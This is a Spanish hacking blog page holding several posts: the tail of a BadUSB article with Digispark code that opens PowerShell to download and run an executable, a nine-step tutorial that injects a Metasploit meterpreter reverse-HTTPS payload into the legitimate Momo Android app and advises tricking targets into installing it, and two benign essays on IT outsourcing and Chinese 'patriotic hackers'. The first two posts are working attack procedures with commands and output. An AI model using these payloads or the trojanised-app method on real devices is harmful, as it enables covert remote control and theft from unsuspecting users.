Una vez hemos hecho el “Hola mundo” y utilizando el mismo esquema, podemos hacer muchas otras tareas de forma automática, y no todas “buenas” (de ahí el nombre de BadUSB), por ejemplo el siguiente código descarga mediante Powershell un archivo desde una URL y lo ejecuta:

#define kbd_es_es
#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
  pinMode(1, OUTPUT);
  DigiKeyboard.delay(10000);
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);
  
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(100);
  DigiKeyboard.print(F("powershell "));
  DigiKeyboard.print(F("powershell Import-Module BitsTransfer;"));
  DigiKeyboard.print(F("Start-BitsTransfer -Source \"http://ruta/fichero.exe\" -Destination \"%TEMP%\\fichero.exe\";"));
  DigiKeyboard.println(F("Start-Process \"%TEMP%\\fichero.exe\""));
  
  while(1){
    digitalWrite(1, HIGH);
    delay(1000);
    digitalWrite(1, LOW);
    delay(1000);
  }
}

Se puede observar que al final se ha incluido el código necesario para que el led parpadee y sepamos que la tarea se ha completado.

A partir de aquí el límite es la imaginación de cada uno, como ejemplo el payload que mencionan Álvaro Nuñez-Romero y Santiago Hernández en su artículo para el blog “un informático en el lado del mal” titulado Arducky: Un Rubber Ducky hecho sobre Arduino para hackear Windows #Arduino

También mencionar a KALRONG en su artículo ATtiny85 el famoso Cheap Rubber Ducky, podemos encontrar aquí un conversor de scripts de USB Rubber Ducky al Attiny85, aunque nosotros pensamos que es mejor opción escribirlos enteros de forma nativa por optimización y depuración de los mismos.

Un saludo y hasta la próxima (o próximas)!

Cómo inyectar malware en una aplicación Android legítima.

mayo 22, 2017 3 comentarios

En éste artículo se hablará sobre la creación de una APK maliciosa partiendo de una legítima con el objetivo de ganar acceso al dispositivo Android sobre el que se instala. En primer lugar es necesario definir cuál será la aplicación con la que se desea trabajar y descargarla, a efectos prácticos, en éste artículo tomaremos como ejemplo la app Momo (immomo.com/download/momo.apk) la cual es utilizada por millones de personas en el mundo, especialmente en países asiáticos. Posteriormente, se puede crear la app maliciosa utilizando las características disponibles en Metasploit Framework, gracias a la utilidad “msfvenom” se puede generar un payload enfocado específicamente a aplicaciones para Android. El objetivo evidentemente es el de inyectar el payload generado por msfvenom en la app legítima, de una forma similar a lo que hacemos con ejecutables PE o ELF para sistemas Windows y GNU/Linux a la hora de aplicar la técnica de “code caving”. Utilizando una herramienta como “apktool” se puede proceder a desempaquetar y decompilar la APK legítima y la APK generada por metasploit y con ambas muestras, se construye una APK nueva partiendo de la aplicación legítima pero inyectando el payload de Metasploit de tal forma que la aplicación original siga funcionando con normalidad.
Lo que se ha explicado anteriormente se puede llevar a la práctica siguiendo el siguiente procedimiento.

1. En primer lugar, se debe generar la APK maliciosa con Metasploit Framework.

>msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o /home/adastra/meterpreter.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 9295 bytes

Saved as: /home/adastra/meterpreter.apk

2. A continuación, se procede a descargar la app que tal como se ha dicho antes, en este caso será Momo (immomo.com/download/momo.apk) y se procede a desempaquetar y decompilar todo con Apktool https://ibotpeaches.github.io/Apktool/

Primero la app legítima

>apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on momo_6.7_0413_c1.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Baksmaling classes2.dex…

I: Baksmaling classes3.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

Y luego, la APK generada por Metasploit Framework.

>apktool d -f -o meterpreterDecompiled meterpreter.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on meterpreter.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

3. A continuación, se copian los ficheros decompilados correspondientes al payload, directamente en la aplicación original decompilada. Concretamente, se deben copiar los ficheros ubicados en:

<meterpreter_apk>/smali

En el directorio:

<momo_apk>/smali

De esta forma, cuando la aplicación APK original vuelva a ser recompilada tendrá en su interior el payload correspondiente. No obstante, hasta este punto el código de dicho payload no será ejecutable, ya que aún no se ha alterado el flujo de ejecución de la aplicación original.

4. Se ha procedido a inyectar el “hook” de Meterpreter en la aplicación original (陌陌), pero para asegurar su ejecución, es necesario inyectar el payload en el código .smali.

Para hacerlo, primero se debe buscar la “activity” adecuada, las cuales se encuentran declaradas en el fichero “AndroidManifest.xml” de la aplicación original. Se debe buscar el lanzador de la aplicación:

<action android:name=”android.intent.action.MAIN”/>

<category android:name=”android.intent.category.LAUNCHER”/>

El atributo android:name de la “activity” principal de MoMo es: android:name=”com.immomo.momo.android.activity.WelcomeActivity”

A continuación, se debe editar el código de la “activity” principal de la aplicación, la cual como se ha visto es “WelcomeActivity” y se encuentra ubicada en

<momo_apk>/smali/com/immomo/momo/android/activity/WelcomeActivity

5. Una vez abierto el código correspondiente a la activity principal de la aplicación, se procede a buscar la función “main” de la clase, la cual debe cumplir con el siguiente patrón:

;->onCreate(Landroid/os/Bundle;)V

En la línea inmediatamente posterior se debe incluir la invocación al payload de Metasploit Framework, que contendrá lo siguiente:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

El aspecto que finalmente tendrán dichas instrucciones en la activity “WelcomeActivity” se puede apreciar en la siguiente imagen

 

6. Antes de recompilar la aplicación original con el payload inyectado, es necesario establecer los permisos adecuados para que el payload se pueda ejecutar correctamente, dichos permisos deben ser los siguientes:

7. Con los cambios anteriores, se procede a recompilar la aplicación original utilizando APKTool

>apktool b original/originalDecompiled/

I: Using Apktool 2.1.0-a7535f-SNAPSHOT

I: Checking whether sources has changed…

I: Smaling smali folder into classes.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes3 folder into classes3.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes2 folder into classes2.dex…

I: Checking whether resources has changed…

I: Building resources…

I: Copying libs… (/lib)

I: Building apk file…

I: Copying unknown files/dir…

El comando anterior dará como resultado la generación de una APK con todos los cambios realizados anteriormente en el directorio <momo_apk>/original/dist

8. Finalmente se debe firmar el APK generado en el paso anterior con una herramienta como JarSigner, esto es importante para que la APK se pueda instalar en el dispositivo.

>jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey

En éste caso se utiliza el keystore por defecto de Android Studio ubicado en <HOME>/.android.

9. Ya está todo preparado, ahora se debe distribuir la APK a aquellos usuarios que sean objetivo de la campaña, evidentemente se deben aplicar las técnicas adecuadas para que los usuarios “piquen” e instalen la aplicación en su dispositivo. Antes de hacerlo, dado que se utiliza Metasploit Framework con un payload del tipo “meterpreter reverse” es necesario iniciar el handler adecuado en la IP/dominio especificado en la propiedad LHOST que se ha indicado a la hora de generar el Payload.

Como se puede apreciar en la imagen anterior, cuando el usuario instala la aplicación en su dispositivo, el payload que se ha inyectado se ejecuta justo después de la invocación a la “activity” principal y el atacante obtiene una sesión Meterpreter, pero lo más importante: La app maliciosa conserva el funcionamiento de la aplicación legítima, sin ningún tipo de interferencia o comportamiento anómalo que haga sospechar a la víctima, esto es sin duda la parte más importante, ya que el usuario no se percatará de lo que está pasando y desde su perspectiva la aplicación funciona correctamente en su dispositivo.

Han sido sólo 9 pasos que nos han permitido componer un vector de ataque interesante enfocado a aplicaciones desarrolladas para dispositivos con Android y aunque éste procedimiento aplica para cualquier APK, es importante tener en cuenta que cada aplicación puede tener características muy concretas que hay que controlar, por ejemplo en el caso de que el código se encuentre ofuscado o que se haga uso de frameworks que debido a su propio funcionamiento, sea necesario tomar un enfoque distinto al explicado en éste artículo, sin embargo el procedimiento sigue siendo perfectamente valido y aplicable a cualquier APK.

Un saludo y Happy Hack!
Adastra.

¿La externalización de servicios IT quita puestos de trabajo?

abril 28, 2017 3 comentarios
Entrada escrita por: Carmelo “Kinjo” Toledo

Hace unos días me encontraba tomando un aperitivo junto con un colega, mientras le explicaba que las empresas, y muy especialmente las PYME podían, incluso en tiempos de crisis, mejorar su infraestructura IT mediante la subcontratación de dichos servicios a empresas especializadas, como por ejemplo THW Consulting

Mi colega, me comentó que desde su punto de vista, estábamos disminuyendo la posibilidad a otros profesionales de encontrar puestos de trabajo.
¿Creen ustedes que la externalización de servicios TIC resta puestos de trabajo?
No me estoy refiriendo en estos momentos a las grandes empresas que cuentan con departamentos técnicos propios bien organizados, sino a aquellas PYME, cuyo “core business” está alejado de la tecnología, pero que son usuarios de la misma, no solamente a través de ordenadores o estaciones de trabajo, sino, en alguna medida también, mediante servidores de datos, web, y, por supuesto necesitados de una revisión completa en materia de ciberseguridad.
Generalmente estas organizaciones, pese a necesitarla casi tanto como el agua, no suelen apreciar la calidad en las implementaciones tecnológicas, y con suerte contratan a algún chico, por un salario que en ocasiones roza el raquitismo (en comparación con el resto de empleados), que inmediatamente recibe el epíteto de “El informático” e ipso facto se le atribuye la responsabilidad de gestionar todo aquello que funcione con electricidad dentro de la empresa, desde los servidores (en caso de que los tengan), la gestión de la “página web”, los PC, las calculadoras, el papel que se atasca de la impresora, la linea de internet, la centralita de telefonía (en caso de tenerla), pasando por la máquina del aire acondicionado, el cableado, la máquina del café, hasta en ocasiones he visto que a este peón se le asignan tareas de mensajero… todo ello, por supuesto, sin apoyo, sin formación continuada, sin posibilidad de promoción, sin mejora salarial y con la máxima de “aquí se sabe cuando se entra pero no cuando se sale”
Esta es en mayor o menor medida la “calidad” de vida de… “El informático” de las PYME españolas. Lo más irónico es que el empresario tiende a pensar que… como “El informático” está haciendo lo que le gusta, con eso ya está lo suficientemente pagado, y la responsabilidad que recae sobre sus hombros no se ve reflejada en su nómina.
Principalmente es este tipo de puesto de trabajo el que entiendo debería desaparecer, y esos profesionales deberían redirigir su vida profesional a empresas de outsourcing en las cuales se aprecien y valoren sus habilidades, y en donde puedan desplegar su trayectoria laboral en entornos heterogéneos que les hagan crecer como profesionales, y eventualmente, con el tiempo como especialistas. En esta situación, estos profesionales, sí que podrían gozar de una progresión en su trabajo.
Si la cultura de la externalización se extendiera en el seno de las PYME, si, quizás desaparecería el ecléctico puesto de “El informático”, sería más fácil que los profesionales hicieran carrera como técnicos o ingenieros de sistemas, consultores tecnológicos, ingenieros de software, cada uno según su preparación y su motivación real.
Las PYME también se verían beneficiadas por un servicio de calidad, y seguramente aprenderían a apreciar la tecnología y sus “hacedores”, que pasarían de ser considerados como “el chico de los ordenadores” a profesionales TIC, tecnólogos, ingenieros, etc.
Es todo una cuestión cultural y educacional.
Autor: Carmelo “Kinjo” Toledo

Un breve análisis sobre la censura de Internet en China y los Hackers patrióticos

abril 26, 2017 Deja un comentario

Hoy en día es bastante habitual encontrarnos con que los administradores de sistemas y personas relacionadas con al seguridad informática apliquen restricciones cuando el sistema que administran y/o defienden, es consultado por una dirección IP cuyo país es China. El motivo de esto es que la mayoría de los ataques que se realizan en internet provienen principalmente de China y Rusia y aunque esto no es algo nuevo para muchos y se ha convertido en algo que “es así por que sí”, merece la pena entender el motivo de esta situación y en éste artículo hablaré sobre algunos hechos y cuestiones sobre el gobierno chino y los hackers que, a lo mejor, no sabias. Espero que lo disfrutes.
El gobierno chino ha demostrado ser completamente hermético con respecto a sus políticas de acceso a la información, bloqueando miles de sitios en Internet, impidiendo el uso de ciertas herramientas y manteniendo un control estricto sobre las opiniones expresadas públicamente por parte de los ciudadanos y turistas del país. A diferencia de otros países del mundo occidental, el gobierno chino pide a sus ciudadanos compromiso y apoyo, siendo uno de los deberes de cualquier persona que resida en la república popular de China, de hecho, aunque nos pueda resultar algo extraño o difícil de creer, se anima a estudiantes, profesionales y a cualquier persona residente en China a emprender ataques contra los enemigos de la república siendo éste su deber patriótico y aunque estos colectivos de personas no son empleados del gobierno, son ciudadanos corrientes con buenos niveles de conocimientos que tienen la capacidad de coordinar y ejecutar ataques contra sistemas en países extranjeros sin mayores restricciones legales, algo que en USA o Europa es evidentemente perseguido y penado. A estas personas se les conoce como “hackers patrióticos” y se caracterizan por ejecutar ataques de DDoS, web defacement, envío de malware en correos electrónicos y ataques similares. Se trata de actividades que pueden ser llevadas a cabo por cualquier ciudadano, incluyendo evidentemente, ciberdelincuentes. Actualmente existen pocos estudios sobre las relaciones entre los hackers patrióticos y el gobierno de la república popular China, no obstante, la investigación más completa que se ha registrado a la fecha de redactar éste artículo ha dado lugar al libro que recibe el título “The Dark Visitor” de Scott J. Henderson en el cual el autor expone las principales características culturales, políticas e incluso filosóficas sobre el cómo y el por qué los hackers patrióticos chinos planean y elaboran ataques contra sistemas ubicados en países extranjeros. En dicho libro se habla sobre el fuerte sentido de pertenencia y nacionalismo del pueblo chino y cómo es considerado un acto justo y honorable defender a su país realizando ataques contra entidades extranjeras que debido a sus actividades políticas o económicas, pueden suponer una amenaza contra los intereses de la nación o su modo de vida, motivo por el cual son considerados enemigos de la república.

Evidentemente, los atacantes pueden aprovechar el hecho de que el gobierno de dicho país apoya las acciones de los ciudadanos que actúan como hackers patrióticos y esto da lugar a una situación muy beneficiosa para quienes desean realizar ataques contra cualquier sistema en Internet (fuera de China obviamente).

Como se ha explicado anteriormente, es probable que el principal objetivo de un grupo de ciberdelincuentes en China, sea el de ampararse en el apoyo que el gobierno extiende a los “hackers patrióticos” para ejecutar ataques que vayan de la mano con la estrategia ofensiva del gobierno contra países que podría considerar “enemigos” ahora o en un futuro y evidentemente, también ejecutar pruebas de penetración avanzadas contra los objetivos del grupo de atacantes. Es importante tener en cuenta que el gobierno chino tiene una política muy clara con respecto a la imagen y las opiniones que se expresan en cualquier tipo de medio contra ellos y en consecuencia, dichas políticas son apoyadas por sistemas de vigilancia masivos que intentan detectar y censurar cualquier critica u opinión desfavorable, siendo estos los tipos de “crimines” más perseguidos y severamente castigados. Los ataques informáticos también son  vigilados, pero solamente aquellos que puedan suponer una amenaza para sus intereses y no son tan perseguidos o castigados cuando el destino de dichos ataques está relacionado con un país extranjero, dando lugar al hecho de que China sea un sitio idóneo para el establecimiento y posterior ejecución de ataques contra cualquier objetivo en Europa, Estados Unidos o cualquier otro lugar del mundo.

Regulaciones, censura y monitorización: El gran “firewall de China”.

Además de lo explicado anteriormente, una de las características más llamativas del aparato legislativo chino tiene que ver con las regulaciones impuestas sobre el uso de Internet por parte de los ciudadanos y turistas extranjeros. El gran “firewall de China” es la forma coloquial en la que se conoce a las medidas instauradas en el país para impedir el uso de ciertos servicios y aplicaciones que no se encuentran permitidas, especialmente aquellas aplicaciones diseñadas para compartir información o incluso opiniones fuera del “radar” del gobierno. Por este motivo, cuando visitamos cualquier región de la China continental nos encontramos con que servicios comunes como Facebook, Instagram, Twitter, entre otros, se encuentran bloqueados. Como se comentaba anteriormente, uno de los crímenes más perseguidos consiste precisamente en expresar opiniones desfavorables o difamatorias contra el gobierno Chino y evidentemente, si dichas opiniones se expresan en espacios públicos en Internet y tienen un calado importante o se vuelven “virales” la persona o grupo que ha diseminado dicho mensaje tendrá que afrontar consecuencias legales graves, independiente de si se trata de un turista o una persona que reside en el país. El gobierno chino no tiene un control directo sobre lo que un usuario utilizando redes como Facebook puede expresar y mucho menos tiene la posibilidad de censurarlo, éste es uno de los motivos por los que éste tipo de servicios se encuentran bloqueados en China, pero además existe un motivo adicional y es el económico. “Cerrar las puertas” a empresas extranjeras supone inmensos beneficios a empresas locales que prestan exactamente los mismos tipos de servicios, teniendo un nicho de mercado de millones de usuarios que pueden utilizar sus aplicaciones y herramientas para interactuar con otras personas o compartir información, además, gracias a los acuerdos que empresas como Baidu o Tencent tienen con el gobierno chino, la monitorización y la censura de los contenidos es mucho más efectiva.

Aunque las redes sociales más populares en occidente, tales como Facebook, Twitter, Instagram, entre otras se encuentran restringidas en China, la población utiliza múltiples aplicaciones, plataformas y servicios para comunicarse. Evidentemente dichos servicios se encuentran bajo vigilancia constante para mantener el control , siendo de especial interés cualquier tipo de comentario negativo contra el gobierno o sus integrantes.

Los principales servicios de mensajería y para la creación de perfiles sociales son Weixin/WeChat, Momo y QQ, los cuales tienen características bastante particulares, además de que soportan millones de usuarios registrados que las utilizan diariamente. Por otro lado, a diferencia otros gobiernos del mundo, la independencia tecnológica extranjera es uno de los objetivos más importantes del gobierno chino, ya que consideran que el riesgo de que el software que utilizan contenga puertas traseras o cualquier tipo de rutina maliciosa para el espionaje es una amenaza seria y real. En este sentido, gracias al apoyo del gobierno junto con algunas instituciones del mundo académico ha nacido el famoso COS el cual actualmente es utilizado en más de un 80% de los dispositivos en China y además, el sistema Kylin es una distribución basada en Ubuntu que actualmente es muy habitual en los ordenadores, tablets y otros dispositivos móviles en China. Se trata de una distribución que puede descargarse libremente desde su sitio web oficial y que es fácil de instalar y configurar, del mismo modo que cualquier sistema basado en GNU/Linux moderno. El gobierno anima el uso de tecnologías propias desarrolladas “en casa” y de está forma evitar cualquier tipo de amenaza que provenga del extranjero (como puede ser un sistema windows, por ejemplo, aunque bien es cierto que esto ya no pasa en el mundo occidental y windows ya no lo usa nadie, verdad? verdad?! ;-)).

Hackers Patrióticos

El gobierno chino comprende el poder de la unidad y como, difundiendo mensajes de carácter nacionalista puede mantener su sistema social y político. Las personas en China desde muy temprana edad comienzan a tener un sentido de pertenencia poco frecuente en otros países y aceptan las normas impuestas sin mayores problemas, ya que consideran que son medidas pensadas por y para el beneficio de todos. Desde muy temprana edad, a las personas se les inculca una serie de valores que definen sus rasgos socioculturales y relación con el mundo exterior, los cuales se centran muy especialmente en el respeto, la lealtad y la colaboración. Algunos de esos valores suelen ser muy distintos a los de las culturas occidentales, especialmente en el continente Europeo en donde se premia e impulsa la competitividad. Para entender el fenómeno de los “hackers patrióticos” hay que asimilar el hecho de que nuestro mundo ha cambiado muy rápidamente en las últimas décadas, durante la segunda guerra mundial y la confrontación con la Unión Soviética que dio lugar a la guerra fría, el poder de una nación se determinaba por su fuerza militar, sin embargo en los tiempos que corren actualmente, el poder militar ya no es el principal factor de superioridad de una nación, ahora otras cuestiones como la economía, la ciencia y los avances tecnológicos son cruciales para definir el poder de una nación sobre otra en términos de fuerza e influencia. Como muchos de vosotros ya sabréis, hoy en día los gobiernos valoran muchísimo el talento y su capacidad de ejecutar diferentes tipos de ataques contra instalaciones o sistemas “enemigos”, por éste motivo ahora surgen equipos destinados a la “ciberdefensa” o el “ciberataque” que trabajan directamente con el gobierno en cuestión y aunque desde una perspectiva occidental, la idea de ejecutar ataques contra sistemas extranjeros o espionaje activo contra otra nación deben ser actividades planificadas y dirigidas por iniciativa propia del gobierno, en el caso de China el enfoque aplicado es completamente distinto, los lazos que se forman entre las autoridades y civiles, profesionales o freelances son difíciles de entender desde nuestra perspectiva occidental, ya que como se ha dicho anteriormente, el gobierno chino fomenta la unidad en todos los aspectos y se espera que los ciudadanos asuman un rol activo en la defensa de su país tanto en tiempos de conflicto como en tiempos de paz. Por este motivo, surgen y se disuelven constantemente grupos como “Red Hacker Alliance”, “Green Army”, “China Eagle Union”, “Honker Union”, entre otros, todos conformados por profesionales, estudiantes y civiles que no tienen una relación directa con el gobierno, pero que con sus actividades apoyan el plan estratégico nacional, tanto es así que la PLA ha enfatizado en múltiples ocasiones la necesidad de una integración entre los roles militar y civil con el fin de afrontar de una forma mucho más efectiva guerras futuras.
Como podemos apreciar existen 2 enfoques distintos, por un lado el enfoque occidental es reservado, cerrado y solamente permite que los miembros del gobierno o empresas colaboradoras puedan actuar en su nombre mientras que los civiles quedan en un segundo plano. En el enfoque oriental, vemos que aunque el gobierno chino cuenta con más de 2 millones de integrantes que hacen parte de diferentes equipos de ciberdefensa, impulsan a los ciudadanos y simpatizantes a apoyar su estrategia militar y ser parte activa de  ella, dando lugar al fenómeno conocido como “Hackers patrióticos”.

Antes de finalizar con éste breve artículo, para aquellos interesados en la terminología utilizada por hackers e informáticos en China, os dejo un par de imágenes con la relación de los “Han zi” (caracteres chinos) Pinyin y su significado.

Se trata de un análisis muy breve y aunque han faltado muchas cosas que merece la pena mencionar sobre los “hackers patrióticos” y su relación con el gobierno chino, es algo que dejaré para una próxima entrada.

Un saludo y Happy Hack!
Adastra.

Categorías:Hacking Etiquetas: ,
A %d blogueros les gusta esto: